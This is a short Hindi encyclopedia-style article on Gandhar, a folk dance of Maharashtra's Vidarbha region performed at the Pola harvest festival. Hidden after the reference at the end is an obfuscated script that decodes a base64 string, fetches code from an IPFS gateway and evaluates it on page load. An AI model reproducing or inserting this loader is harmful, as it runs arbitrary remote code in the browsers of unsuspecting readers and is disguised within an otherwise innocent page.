गंढार नृत्य
गंढार नृत्य विदर्भ क्षेत्र का एक लोकप्रिय नृत्य है। इस क्षेत्र में रहने वाले अधिकांश लोगों का व्यवसाय कृषि है। खेतों में जब फ़सल कट जाती है और घर अनाज से भर जाते हैं, तब किसान अपनी खुशी का इजहार करने के लिए 'पोला' त्यौहार मनाते हैं। इस त्योहार के दौरान ही गंढार नृत्य किया जाता है।
- इस नृत्य के दौरान बैलों के प्रति अपनी कृतज्ञता व्यक्त करने के लिए उन्हें मिठाई खिलाई जाती है।
- गंढार नृत्य में रामायण और महाभारत जैसी पौराणिक कथाओं का वर्णन किया जाता है।
- तुनतुनी, हारमोनियम और ढोलक जैसे वाद्यों की धुन पर यह नृत्य किया जाता है।
- पहले इस नृत्य में पुरुष ही महिलाओं का पात्र अदा किया करते थे, लेकिन अब महिलाएँ स्वयं इसमें भाग लेने लगी हैं।[1]
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टीका टिप्पणी और संदर्भ
- ↑ महाराष्ट्र के लोक नृत्य (हिन्दी)। । अभिगमन तिथि: 16 अक्टूबर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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